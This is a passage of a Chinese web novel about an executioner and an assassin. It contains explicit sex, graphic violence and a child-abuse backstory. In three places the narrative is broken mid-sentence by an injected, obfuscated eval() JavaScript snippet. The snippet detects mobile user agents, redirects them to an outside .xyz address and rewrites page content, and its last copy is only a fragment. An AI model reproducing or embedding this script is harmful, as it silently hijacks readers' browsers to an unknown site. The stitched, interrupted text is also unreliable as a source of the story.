他们一路杀出重围,到最后那一方似乎放弃了从他们身上获得信息,撤回了所有的人手,放任他们离开。等到翻出别院的院子,两个人身上、手上都沾满了血液。 血腥味浸透了衣服。 到达联邦名下安全屋,林又茉打开浴室的喷头,哗啦啦,清水喷涌而下。 两人不约而同默契地站到水流底下,冲刷身上的血味。 红刀身上伤得很重,薄薄的布料凌乱地贴着肌肤,几乎遮不住纵横交错的殷红伤痕。血色沿着锁骨蜿蜒,没入衣料残破处。 就连唇角也有伤,是拷问时忍耐咬出来的。 而林又茉同样受了伤。黑发沾湿,紧贴着冷白的脸颊,她神情依旧冷淡,但身上那套标准的黑色制服布料破损,手臂和小腿都有不同程度的擦伤。 冲淋着,两个人浑身带伤,肌肉酸痛,只有肾上腺素还在激烈运动的余韵,连同鼓噪的、剧烈跳动的心脏。 狭窄逼仄的简陋浴室里,两个人挤得只能面对面站着,水流染红,流进地漏。 红刀没忍住笑出声。 他看着林又茉那张就算一场杀人活动后也平静的脸,弯起桃花眼:“执刑官,真没想到我们俩真挺幸运,你说这是不是种命定的缘分?” 林又茉拧着黑发上的血迹,没回应。 “最后真给那个变态富商偷到了,谁能想呢,我看他做.爱都用不着三秒,结果死了还来一发诈尸按了个按钮。” “但幸好,执刑官你还藏了后手,说实在的,如果没有你,今天不知道要花多久才足够议会那些老家伙反应过来我失踪了的消息……或许那个时候我的尸体已经凉了也说不定。” 他笑眯眯凑上去:“你说执刑官,我该怎么报答你才好?要不我用身体来伺候——” 她说:“好。” 红刀呼吸一滞。 他下意识去看她的脸。 她没有……开玩笑。 她的那双黑眼睛抬起来,林又茉黑发被水打湿,水滴顺着发尾淌下,显得那双眼睛格外得黑。 像黑夜,像无尽的泥沼,能让人陷进去,被吞没。 她说:“跪下来。” 仿佛被蛊惑,红刀盯着她,慢慢地膝盖着地。 少女的学院制服裙摆被提到大腿处,林又茉垂眼看他,抓住了他后脑凌乱的黑发。 红刀下半张脸一片湿润,被猛地压到浴室的墙壁上。她一点都不轻柔。而他尝到了她的味道。 嘴里的味道令人着迷、兴奋,如果可以,红刀简直想沉溺,溺死,只要她给予他更多。 后脑的头发被抓得很紧,如果不被满意,掌控他的主人甚至还会扯他的颈环,红刀从来没想过它的用处会有一天是这样,但简直物尽其用。 他被使用,被利用,被当做工具,浴室氤氲,光晕之下的淋浴水串之下,红刀终于被拎着头发放过,他仰着脸,漂亮的脸上不知道是水珠还是其他,唇色被泡得更艳。 桃花眼尾上挑,眸色却暗如暗流。 他的确很适合红灯区。 林又茉的手指按过他的唇角。 而他俯下脸,甚至轻柔地蹭了她的掌心。 头顶的水流依然哗啦啦冲刷,这对死对头,头一次肢体的接触不是为了杀死对方,两人浑身湿透,破碎凌乱的衣服压根受不起这样的折腾,简陋的浴室东西散落了一地,红刀后背被抵到浴室湿热的墙上时,他抬起手,主动将上衣扣子解开。 比起嘴上百无禁忌的放荡话语,胸膛上却是无人采撷过的纯情的嫩粉色,在水流下显得格外涩情。 他垂眸看她张嘴咬上,红艳的唇角慢慢勾起,轻笑低得几乎要被水声淹没:“我这具身体被享用的第一次,没想到是给你呢……执刑官。” 轻飘飘的声音响起,带着笑意。 然后,他手穿进她脑后的发,纵容一般将她按在怀里。 他想,他们果然是天生一对。 疼痛与痛苦,放纵与享乐,无所顾忌又天生招摇。 终于……终于。 谁会说他们不是呢? 11.第 11 章 【刽子手销声匿迹的三个月】 【是风平浪静的假象,还是更大的阴谋正在酝酿?】 【联邦都城治安报告】 …… 报纸一版接一版地加印,毫无根据的猜测像无头苍蝇乱飞。没有消息就是最令人惧怕的消息,毫无疑问,这成为了许多不知情人的热度话题。 ** 这不是件好事。 林又茉闲暇时停下来,平静地想。 这不是件好事。 她快要习惯红刀那张过于聒噪的嘴了。 在上一次之后,仿佛洪水泄了闸门,红刀这场灾难毫无预兆地淹没进她的生活里。 出乎意料地,他们如此默契,林又茉默许了一切。 任务时,两人挥刀开枪杀人不眨眼;任务后,满身汗水地纠缠进彼此的身体,消耗最后一丝力气。 红刀是从D级的底层爬上来的野草,但看起来,显然也相当会爬床。 各种道具和玩法,他来者不拒,林又茉后知后觉地想起来,他很会忍痛,是被刑罚之后还能轻飘飘带着笑揶揄她的恶人程度。而对于红刀自己来说,他甚至热衷尝试,爱好自荐枕席,为什么不呢?他打开了新世界的门,窥探到了令人快乐的新宇宙,他像找到了新的玩具,又像找到了新的爱好,乐此不疲,永不疲倦。他跟他的小执刑官有太多的精力可以挥洒,这些花样对他来说不过是乐趣的催化剂。 何况,他有一具太适合做.爱的身体。 昏暗午后的卧室里,风吹鼓着窗帘。 这里不知道是哪个安全屋,平日里没有人来,在这个荒无人烟的郊外,有的只是床上的他们两个人。林又茉抬眼注视他。 红刀没有穿上衣,纯情的身体在几周内被催熟一般艳丽,漂亮韧劲的腰肢线条,暴露在她的视线里。 他抓住少女的手,带她的手贴上自己的腰。慢慢下移,林又茉发现他的侧腰随着抚摸出现了一行花纹。 在这个时代,人们可以轻易在身上打下印记,全凭喜好。 而林又茉读懂了那一行花纹的意思,那是几个时代前的文字,是一行…… 数字。 “623次。”红刀说。 他半眯起眼,满足地道:“知道这是什么数字吗?执刑官。” 纹路像盛开的花朵,逐渐蔓延在皮肤上。代表着他们每次消耗的精力,折腾的汗水,激烈的占有、被占有,攻城略地。这具身体快熟透。 “你在我身上的印记。” “623次,622次,621次……”红刀垂眼看她,上挑的桃花眼里带着毫不掩饰的攻击性,带着她的手指探索,却说着诱人上钩的话语,如同他一贯的作风。 像引人堕落的禁果,而他是诱骗人的那条蛇。他很低地哼笑:“你想亲自绘制吗?” 随即世界天旋地转,红刀愉悦笑出声。 天啊,他们如此年轻,有那么多的时间、活力,用不尽的能量,那为什么不纵情享受? 反正一切总不会比死亡更糟糕。 …… 一次又一次,一次又一次。红刀简直像是一场永不停歇的灾难。 又一天的任务结束,两个人浑身血迹滚进临时的酒店房间,在床榻轰然一声倒塌时,远处窗外的爆炸像烟花一样绽开,杰作、这样的杰作简直是他们两人亲密无间的证据。 巨大的火光映彻半边的夜空,像是流星,红刀的眼底也淌进亮色。 他窝在凌乱的白色枕头和被单间笑得张扬,两个人的唇齿纠缠刚结束,林又茉冷不丁掰起他的下巴,指节顶在他脆弱的咽喉上。“舌头。”她说。 红刀作为干了坏事的始作俑者,当然知道发生了什么。他很慢地眨了眨眼,戏谑地叫她“执刑官”,然后张开唇——湿红的舌尖上赫然躺着那枚薄如蝉翼的刀片。 银亮亮的,锋利的。 “我学会了。”他一瞬不瞬地盯着她,嗓音轻哑, “是不是该夸奖我?” 回应他的是掐住脖子令人窒息的手,少女叼走刀片,舌头重新卷起含进嘴里,埋下脑袋伏在他胸前,让他紧张于不知道咬的哪一下会不会被割伤,那枚锋利的刀片……而这张紧张感让红刀身体紧绷,早就被催熟成艳红色的地方传来麻痒,红刀没忍住吸气,却又低低哼出声。 …… 他忽然问:“季相兰是不是你的情人?” 林又茉看向他,红刀玩弄着手里的刀片,示意着窗外大幅霓虹色彩下的金发男人广告。 “第一次见面时,你身上带着他的紫罗兰香味。”他轻飘飘说,而执刑官是个不用香水的人,“他在你身上沾下的。” 那个雨夜里,林又茉看着海报上的季相兰的时间也多了一瞬。 聪明的大明星不可能不知道林又茉的浪荡习性,但季相兰并不会明面挑衅,而是在爱人身上留下一点自己的痕迹,给潜在的竞争者找点不痛快。林又茉知道,但没反对过。 她或许是不在意。 “啊——执刑官,”红刀倒在床上,语气像撒娇,“你果然很受欢迎呢。” 他摸着腰上“5”字开头的花纹。 “啧,我也中招了。” …… 然后在某一次,林又茉也给他带来了礼物。 一枚漂亮的银针,穿透他,像穿透生日蛋糕上的樱桃。林又茉亲自动的手。 高高在上的执刑官那只将无数人送往死刑的手,漫不经心地扣开打火机,将银针烧过消毒,然后抵着珠子,穿了进去。红刀闷闷地哼了声,眼底染上一片湿雾,低头看看那红肿的艳红色,只能摇头叹气:“执刑官,你这让我冬天穿毛衣很难办。” 将东西串好,林又茉松开手,打量自己的作品。 他又说:“冬天我们去哪里做.爱?” 很滑稽、没来由的问题。但红刀兴致勃勃,他想到了,于是也就问出口了。 冬天对红刀从来不是一个好词。 小时候的红灯区爆发了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886366|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场瘟疫,秋季的高温后,留给他们的只是充满腐尸与饥饿的漫长寒冬。那块贫穷的区域被监管、隔离,联邦的大人物们只想把这群病得发烂的野狗关起来,关在这宛如地狱的牢狱里,等待疾病随着最后一个活人的最后一口吐气而消弭。 他像一块羊肉一样被卖出去,而母亲怀里抱着更受喜爱的弟弟,麻木地目送他远去。 红刀恨那张跟他一模一样的脸,憎恶弟弟会争夺大人的喜欢,或许母亲只是多偏心弟弟一点点——但就是这一点点,就足够把他称重,打包,卖出去。 买下他的人是个男人,过去是红灯区底层的倡伎,侥幸靠舔爬滚挪才爬进了D级,终于不必再被人操,可这人看见他的脸,还是起了下贱的念头。浑身伤痕的男人受过同样的苦,所以发疯般嫉妒地想要让他也尝一遍。 “在烹熟你之前,你还有别的用处。”那个人终于在弱小者前体验到了怜悯的滋味,在他解开裤腰带前,红刀割断了他的脚筋。可这还不够,红刀麻木地捏着刀——那把本来应该用来剖开他的刀——一寸一寸地,割断了那个人身体里的每一处筋,直到他浑身沾满鲜血,手臂发抖,那个人散乱地躺在地上,然后饥饿感来席,红刀俯下身体,颤抖着就着雪屈辱地咽下了那口温热的血。 他煮了他的烹食者。 冬天就是这样的冬天。红刀是这场幸存者游戏的胜利者,在那后,红刀过上了一段厌恶被人触碰身体的时间,他开始学习解剖他人,无数的血块和肉块不过是一个人的解构体,他们——人——跟鸡鸭牛肉终究没有任何区别。或许是因为这样的念头,他变得娴熟,在圈子里爬得越来越高,D级、C级、B级,可笑的信用点数字决定一个人的人生。 红刀从没思考过未来,每一天的日出都可以是终点,每一日的黑夜都可以是末日。现在是春末,夏日是神官的婚礼,那么冬天太过遥远,与他毫无关联。 但他忽然,就在这一刻,对冬日有了些许幻想。 白茫茫的雪,壁炉里的篝火,呼啸的山风,柔软的床榻。 像一只朝不保夕的渺小蜉蝣,他躺在执刑官旁边,可笑地开始期待第二天的晨光。 在人生的第一次里,红刀摒弃肮脏的过往,对未知有了向往。 “去哪呢?”他半真半假问。手指穿过少女柔顺的黑发,漫不经心地拨弄,“你有喜欢的地方吗执刑官?或许可以坐船,在雪地里也许有格外不同的体验,你去过雪屋吗——” 回应他的是少女掰起他下巴的手,让他聒噪的话语终结在她捂住他嘴的手心之下。 “吵。”她这么形容他。 而红刀喉咙里发出低低的笑,他弯起眼,笑得很开心,身体都在震颤。 他终于开怀大笑。 林又茉莫名地看着他,红刀觉得更开心了,执刑官还是那张从来不笑的脸。 “我觉得我必须要回报你了。执刑官。”他笑眯眯说,“你必须要收下一份来自我的礼物。” “你会喜欢的。” 12.第 12 章 话虽这么说。 但最后的结果却是风牛马不相及。 但林又茉低头看向手里突然被塞进的两个甜筒,和头上被扣上的卡通花栗鼠帽子,无言了许久: “……” 面前的大门写着“联邦游乐园”: C级、D级公民的快乐天堂!享受极乐!短暂忘掉底层人的烦恼! 红刀捧腹大笑,压根不想掩饰上翘的唇角,他戴着同款的花栗鼠鸭舌帽,拿着两张游乐园的票,带领冷酷无情的执刑官进入这个平民乐园。 “今天就好好享受一下普通公民淳朴的快乐吧怎么样?尊贵的执刑官。” 尊贵的执刑官:“……这就是你说的礼物?” 她以为会是什么实质的东西。 想多了。 “是啊。”红刀煞有介事。 林又茉面无表情:“这里普通公民这么多,你不怕我被认出来,然后在这里大开杀戒吗?” 红刀惊讶地挑眉:“可你又不是愉悦犯,执刑官。” 林又茉:“……” 被真正的愉悦犯冒犯了。 林又茉说:“但我怎么觉得这更像你自己给你的礼物。” 她凉凉抬起眼,红刀正笑得前仰后合,一个长相俊美的年轻帅哥在游乐园门口笑成这样,很难不吸引人注意。 戴花栗鼠帽子的小执刑官很难有说服力呢。 红刀大大方方地按下林又茉的帽檐:“放心,没有人会想到堂堂执刑官你会屈尊纡贵来这种平民地方,还打扮成这样,就像你非说在红灯区看到神官了,谁会相信这种话?” 他眨了眨眼,一副得逞的样子。 “天啊,老公,那是不是……” “可刽子手,怎么会……” “那个小女孩……” 附近路过的游客惊恐地盯着林又茉没被遮住的下半张脸窃窃私语,但他们很快一拍大腿,笑着摇头“怎么可能”把自己说服了。 “不可能,绝无可能!执刑官戴花栗鼠帽子?哈哈!她怎么会有这种情趣?” 林又茉:“……” 红刀:“你看看我说什么了?” “而且执刑官。咱俩来这里也不是完全没事做的,”红刀在她抬脚要走之前,赶忙指向不远处一对正在排队的父女,哄道, “喏你看,那个中年父亲,是我这次任务的目标。” “我们要好好盯梢他们才行。” “执刑官,你不会就这么轻易地放过一个违法分子——对吧?” 林又茉盯了会儿那对父女。 他们看起来格外普通,父慈女孝,没任何特点。 话又说回来,林又茉想把红刀嘴缝上。 见林又茉没说话,红刀觉得她默许了,他抖抖手里的两张票,笑眯眯一挎她的肩膀:“来吧来吧,我来教教你什么叫劳逸结合。你是不是活了二十岁都不知道,认真工作的同时,也是需要摸鱼的?” ** “呜呼——” 林又茉跟在那对父女身后坐了三次云霄飞车、极速光轮、720度海盗船,下来的时候心率变化不超过5。 “天啊好爽,这种项目真是意料之外地有趣,哈哈哈哈——” 反而是红刀,一直超享受地大笑,一副高兴得没边的样子。 林又茉把帽子重新扣起来:“上次从二十一楼跳下来没见你这么开心。” “哎呀,工作是工作,放松是放松,怎么能一样呢?” 红刀也戴上他的帽子。 他去拿了自动拍摄的游客照。 照片上,是一群疯癫的游客和一个面无表情的头发倒竖的小女孩。 红刀:“噗哈哈哈哈哈哈哈哈!执刑官你看你!哈哈哈哈……” 是她跟不上普通公民的思维逻辑。林又茉冷静地想。 不要在这里拔刀,会造成恐慌。等会儿等没人了再给他一刀。 过了十分钟,红刀还在笑。 “任务还没结束吗?”林又茉问。 她想动手了。 “还没。”红刀语调悠悠,弯下腰,“这才多久啊,盯梢的一半都还没结束呢。” 他笑出两颗虎牙。 ** 两个人跟在这对父女身后,先后坐了旋转木马,倒转茶杯,最后到了一个射击气球的摊位前。 女儿打了十多枪只有一枪中了,扁嘴要哭,父亲慈爱摸头夸奖。 林又茉在隔壁蒙眼单手打出500/500的好成绩。 女儿在鬼屋被吓哭,父亲连忙安慰说没事。 林又茉进鬼屋如若无人之地,反而把工作人员吓昏过去(“好像刽子手!呜呃!”)。 父女俩在高峰期排热门游乐项目需要两个小时。 林又茉要掏钱给他们买超级尊贵vip被红刀连忙阻止了。 红刀无奈:“你喜欢做慈善吗执刑官?” 林又茉:“两个小时太久了。”什么东西要排两小时。 黑发少女冷冰冰地站在那,手里拿着一沓联邦大额钞票。 红刀看乐了:“好吧,这段我们不跟着他们了,我们在下面找点东西吃。” 他顺理成章地从她手里夹过那一叠钞票,塞进自己胸前口袋,轻轻叹气,“尊贵的执刑官大人,给你个机会,用这些钱请你漂亮的仆人吃点东西怎么样?” ** 都城的黄昏如期而至。 活动了一天的林又茉靠在长椅上,红刀在旁边有一搭没一搭地舔着被她抛弃的甜筒。 香草味的,怎么能就这么扔了? 他们盯梢的那对父女坐在道路斜对面的长椅上,两人背对着他们,温馨地靠在一起,小女儿手里还捏着一个气球。 黄昏将这对父女的影子拉得很长。 怎么看都再普通平凡不过。 红刀悠悠闲闲地啃完一个甜筒,听到林又茉开口:“他们不是你的任务目标。” 红刀微微一顿。 这是一个陈述句。 “我们也不需要盯梢他们。” 林又茉转过来,黄昏的光拂在她一半的侧脸上,漆黑的眼睛深不见底。 她没有在问他。只是在叙述事实。 “对吗?” 红刀停顿了片刻,唇角微微勾了一下。 “好吧,被你发现了。”他自首叹气,“不过我也没有完全说谎,那个父亲的确犯了罪,他前天在买水果的时候偷了两个苹果。制裁各种类型的违法犯罪也是我们的职责,对不对,我没有骗你。” 林又茉:“量刑?” “罚款50。” 林又茉从来没见过这么小的量刑单位。 她没有问他为什么要把她骗过来这里度过一日。 她很明白理由。 林又茉站起身,准备离开。 “再等一下,执刑官。” 红刀叫住她,林又茉回头。红刀正靠在长椅上看着她。 那双桃花眼安静地注视她,将她的身影映在眼底,金灿灿的黄昏让他的睫毛染上一层暖色。 他忽然笑说,“我要离开一段时间。” “你会想我吗?” ** 在接下来的日子,林又茉没有再见到红刀。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895129|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他似乎去出了一个不定期归来的漫长公差,行踪游荡不定,但偶尔会给她寄来各种旅行地的明信片,捎带各类袖珍的土特产,活跃程度大概像一只时不时刷存在感的旅行青蛙。 红刀:有没有想我执刑官?给你看八只角的海星。 林又茉回:没有。 红刀:现在想我了吗?看七只角的海星。 林又茉回:不感兴趣。 红刀:那给你看六只角的海星。 他似乎又换了一个靠海的地方出差。随信附来的又是一只八角干海星,切掉了两个角,变成了六角。 林又茉:“……” 有没有人考虑一下八角海星的感受。 林又茉回:虐待珍稀动物,监禁三年。 红刀:那想我了吗? 林又茉中途忙工作,花了许多天将叛逃的一整家罪犯全部杀光才返回都城,回到家时,才发现下一封明信片老老实实躺在了她的桌上,已经不知道过了多久天。 红刀:承认吧,执刑官。我不在,你会很寂寞。 红刀的字跟人一样飘逸。 信下附了一样东西,是几个月前在林家原址前,小贩兜售的情侣企鹅钥匙扣。红刀买了一对。 林又茉洗完澡出来,随手将劣质企鹅翻到底,底部有一行迷你小字:——哈哈!看到这说明你想我。 林又茉:“……” 竟然是碰瓷。 碰瓷要判二十道鞭刑加五年监禁。 再给企鹅翻个面。 红刀:——但我想你,执刑官。 这句话认认真真写的,一笔一划,油墨因为长久的驻笔而晕染了一块。 林又茉低头盯了企鹅一会儿,将钥匙扣扔进抽屉,关起来。 让她做主判,会多判他几个月的义务劳动。 就去那个游乐园卖冰淇淋吧。看他那么喜欢。 不过说起来,几个月跟红刀的日日相处,突然耳边那道聒噪的声音不见了,林又茉忽然并不那么适应安静。 她突然清静了。 这样的清闲来得悄无声息,林又茉在这样的闲暇里甚至匀出了时间收拾东西,去学院。 联邦里说的“学院”只指唯一一个学院。贵族子女特供学院,学校里没有贫困生,B级及以上的标准卡得很死,没有一条漏网之鱼能溜进来。 如今的社会制度下阶级跨越几乎等于天方夜谭,上流社会没必要对底层人伪装没必要的慈善面孔。 学校里大多数人没有见过她,但是又“见过”她。林又茉除了上课就会泡在图书馆。所有人诚惶诚恐地对她退避三尺。 巴结、讨好在执刑官身上不会起作用。学生们更担心父母辈的手脚干不干净。 这座学院里的人还不是家族的掌权者,没有人想做那个因为一句话得罪了执刑官就导致全家人失败者结算画面的倒霉蛋。 当然——已经得罪过她的除外。 林又茉日复一日地上学、放学,将之前落下的功课补齐,缺席的考试考完,顺便刷一些学分。等到学分集齐,她一两年后就可以提前毕业,从此结束这没什么意义的学校生活。 但在一节平平无奇的体能课前,林又茉去更衣室,从隔间出来,发现整个更衣室已经被清场了。 房间里很安静。 穿着制服的贵族少年在那儿等着她,他脑后的黑发绑成小辫,双臂环抱,抬着下巴,一副盛气凌人的模样,气场冰冷,压抑着怒意。 在上一次的羞辱过后。 薛子琛做梦都想杀了她。 他微笑,保持着良好的礼仪:“林又茉,别来无恙。” 13.第 13 章 “……” 林又茉心情平淡地有些厌倦,就像打开电影看到并不想看到的前情提要,很想一键跳过,但对方却兀自要演下去。 她平淡地移开目光,走到镜子前洗手。 薛子琛依然保持微笑:“你可以装作什么都没发生,但我们心里都清楚。你上次那么做,就是在报复。” “堂堂执刑官,假公济私,报私仇。再怎么说,议会也不会坐视不理。” “你刻意针对我——就是因为你不满神官和议会长的婚礼,不对吗?” 薛子琛自信满满,他已经知道了答案,也拿捏到了她的把柄。 林又茉给手上涂上消毒剂:“你叔叔知道你在这么?” 薛子琛像听到什么好笑的笑话:“叔叔?你还真敢提尊贵的议会长。上次是我失误,没想到你藏得那么深。但这次不一样——这里是学院,禁止携带武器,就连A级公民也不例外。更何况你现在身上连一件防身道具都没有。你觉得现在报我叔叔的名号我就会停手?” “不会的,当我叔叔发现我的杰作,他只会对我报以赞赏。” 林又茉:“我说的不是这个。” 薛子琛:“那是什么?” 林又茉擦干手,平静地道:“我是说,你叔叔知道你喜欢偷溜进女更衣室吗?” “……” “你——什么女更——” 薛子琛脸色变了又变,气得脑仁疼,直接怒极反笑,“你真是敬酒不吃吃罚酒,执刑官。我本来觉得你会聪明一点,知道什么时候该低头求饶,没想到你真是半点不识时务。” “反正没关系,等一切结束,你也已经是个只会说囫囵话的傻子了。” 薛子琛打了个响指,几名强壮的高年级学生走出来,个个人高马大,他们都被薛子琛握了把柄,没有办法反抗,只能被迫听从命令。 他们手里拿着电击.枪。 最新型号的军用电击.枪,袖珍小巧,可以通过金属探测器,电流量强大,能在一秒内烧坏一个正常人的神经系统。 为了确保万无一失,薛子琛特地让母亲从叔叔那拿来了拥有议会长权限的军用版本。 薛子琛轻笑:“我知道我杀不了你,但一个变成傻子的执刑官,说出来的话,还有谁会信?” 林又茉独自站在水池前,转过身来,望着那五名高大的高年级。 她刚换完体能课的衣服,T恤配运动短裤,齐腰的黑发还未束起,配上她那双漆黑的眼和白净的脸,看起来像瓷做的袖珍娃娃。 薛子琛微笑:“你现在还有时间跟我道歉。” 林又茉不明白世界上为什么总有这么多的蠢人。 基因技术在进步,医学技术更加先进,各类科技百花齐放,就是为了让这些蠢货在医疗摇篮里能够平安诞生。 优胜劣汰的进化论早就应该把他们掐死在受精卵里。 如果这个世界的阶级按照智商排序,那么红灯区肯定都塞不下这些贵族脑袋。 看着来意不善、气势汹汹的对面几人,林又茉瞥了一眼墙上的时钟说:“你好像从来没做过详尽的调查。” 薛子琛笑了:“什么调查?” “你好像不明白,为什么我身边的人,接近我时从来没有携带过电子器械。” “或许在来之前,你真该好好跟你的叔叔聊一聊。” 在议会长晚宴时,护卫顶着她太阳穴的是普通机械手枪。 神官想她时,是让人送来了花。 就连红刀那个笨蛋的脑子,给她寄来的,也都是一张张纸质的明信片。 明明两个人都有光脑的话,给她发消息更快捷。 更别说,堂堂联邦大议会长薛柏寒恨她恨得牙痒痒,但在面对一个功过相抵、最适合要挟她的机会时,只让她去红灯区主管李七的硬盘里取芯片。 为什么是她? 为什么不能是其他人? 为什么只能是她? “你以为他们摒弃电子设备,是因为不习惯吗?” 薛子琛脸色终于出现了一丝轻微的裂痕。 他不相信她说的话,但——贵族少年退后一步,对未知的不确定感在他心脏中涌动、扩大,让他牙关有点松动,寒意顺着神经蔓延下来。 “你是什么意思?” 她为什么看起来一点都不害怕? 不对……不对劲……有什么是他不知道的? 她有什么底牌? 她在唬人? 林又茉没有立即回答。 她只是摘下手腕上的发圈,将黑发卷上去,少女白皙后颈的一道文字显露出来:【A级公民,#执刑官#】。 特异的红色权限标识在光下像灼烧的印痕,一闪而过,隐没进皮肤里。 “意思是,你从头到尾,都没明白‘执刑官’究竟是个什么职位。” “而执刑官,究竟能干什么。” 下一刻,电光火石之间,林又茉欺身上前,疾跑跳跃,一手扣住为首高个子的脑袋,就要抓住他手里的电击.枪。 高个子吓得急忙扣动扳机,其他人也下意识开枪,所有电击.枪突然噼啪作响,蓝色电弧乱蹿,像挣脱束缚的野蛇,然后在下一瞬—— 【权限干扰】 【权限干扰】 【权限干扰】 【权限干扰】 鲜红的文字密密麻麻一瞬间像警告的咒语一般闪现在屏幕上。 啪!啪!所有枪支金属壳体剧烈地爆炸弹开,高智能的电击.枪自动旋钮枪头,追踪指令路径中的目标敌人—— 轰隆一声,更衣室的整扇墙在爆炸下轰然倒塌。 浓烟和石屑夹杂着金属与塑料的焦味,迅速弥漫整个房间。 灰黑烟尘之中,薛子琛仰倒在一堆碎石之上,他痛苦地剧烈喘气,双耳嗡鸣作响,近距离接近爆炸让他身体皮肤被不同程度烧伤。 但没关系——这种程度的皮外伤,只要进入医疗舱,就可以被治疗回来。 但不对,不对,这些电击.枪的射频根本不可能导致爆炸,为什么会炸?是谁做了手脚,是谁要害他? 不行,现在不是追究这些的时候。得尽快治疗伤口,只要撑过去,他会痊愈,会恢复,会…… 他的念头戛然而止。 一双运动鞋出现在他面前。 少女站在烟尘中,居高临下地俯视他,漆黑的眼睛平淡无波。 如同那支对准他的黑洞洞的枪口。 薛子琛嘴唇剧烈哆嗦,他居然感受到了绝望:“你不能杀我,你不能杀我!……我是议会长的侄子!你杀了我,就是在跟议会长作对,就是在跟整个薛家作对!你不可能跟我们整个家族为敌——” “议会长不会放过你的,你不要忘了,神官要跟议会长结婚,如果你那么在意神官,你就该知道,神官的死活都是议会长说了算!” 薛子琛像找到了免死金牌,绝望之中又燃起了希望,他觉得他抓住了救命稻草:“你也知道上一任、上上任、再前面的神官都是怎么死的,对不对?!” “你杀了我,他一定会拿神官出气!你不怕吗?!你不是温臻养大的吗?你就不管温臻的死活吗?!” “你就不怕我叔叔这么对温臻——” “我不杀你。” “太好了!你——” 砰。枪响。 几个高个子瘫痪在一边,惊恐地看着薛子琛像块烂肉一样软倒在地,口鼻溢出大量鲜血。 她开枪得毫不犹豫。 林又茉很轻地,慢慢地重复。 “……‘我杀不了你,但一个傻子说出来的话,还有谁会信?’。” 军用电击.枪让人脑神经瘫痪的频率是1400赫兹。她刚好调高了一些,确保再好的医疗技术都对他烧焦的脑子回天无力。 他早就该在受精卵的时候就被劣汰掉,神志清醒活到现在已经算浪费了太多的社会资源。 活得够本了。 然后林又茉转过眼,向着剩下的几个人走去。 ** 议会长办公室。 秘书小心地屏住呼吸贴墙站立,试图弱化自己的存在感。 一片安静,只有贵妇人的啜泣声。 “柏寒,柏寒……这怎么办……我们子琛还那么小……” “他就这么傻了,那以后怎么办,我只有这一个儿子……我问了医生,怎么都恢复不了清醒了……” 贵妇人失声痛哭。 秘书打量议会长的脸色,接收到信号,硬着头皮地出声:“夫人,我听说,薛子琛少爷是因为偷窥女更衣室,跟几个高年级学生打起来,然后擦枪走火……” 贵妇人怒目圆睁:“你在说什么傻话!我儿子有那么多情人,怎么可能偷窥女更衣室?!” 秘书头皮发麻:“有可能……薛子琛少爷的癖好之一就是偷窥……” 贵妇人:“怎么可能!” 秘书闭目输出:“俗话说得好,妻不如妾,妾不如偷……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895130|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你!……”贵妇人猛地一拍桌子就要站起来。 薛柏寒凉凉地一撩眼皮,制止住了她即将脱口而出的唾骂。 贵妇人胸膛剧烈起伏,转换目标,抽泣道:“柏寒啊,这个事情要我说,肯定又是刽子手那个小丫头干的,她这么天天跟你作对,你看得下去吗?都骑到我们薛家的脸上来了,你还能忍吗?!” “子琛他不光被弄傻了,还被切掉了舌头,这么残忍的手段谁能做出来?!只有她——” 而议会长薛柏寒静静地听到现在,只问了一句:“枪是谁的?” 仿佛一盆冷水泼下,贵妇人突然噎住:“……呃。” 薛柏寒唇角溢出很轻的一丝冷笑:“收缴的枪标着议会长权限。你那天装作东西丢了来议会宫,真当我不知道?” “你该庆幸这件事被压下去了,没坏家族的名声。” 不然他会亲自把那小子的脑袋烧成傻子。 高大的议会长冷漠地从办公桌后站起来,准备离开房间。 贵妇人愣在原地几秒,忽然像意识到了什么,惊慌地追上去,声音发颤:“……可……不对,不对啊!柏寒,那些枪都是你的权限的,为什么能被那丫头用?” “你的权限不是联邦里最高的吗?!” 贵妇人语调充满恐惧,在她的认知里,联邦权力的顶点就是议会的大议会长。她想不通为什么一切不能如她所愿。 这个世界难道不是他们的了吗?! 可惜,她没有得到答案,因为议会长已经离开了房间。 ** 林又茉蹲在湖边看湖水。 很安静。 幽绿色的湖面,倒映着碧翠的树林,绿成一片。 她小时候很少有这样的安静的时刻,大多数时候,她都被关在地下室。 地下室的电子门被反锁住,有的时候是被保姆锁住,有的时候是哥哥姐姐,在她一些不听话的时候,是母亲亲自让人锁住。 执刑官拥有联邦最高的权限。 最高的权限,意味着极端性的最高,比议会都要高。母亲锁住的门,除非暴力拆卸,没有人打得开。 而现在她继承了这样的权力。 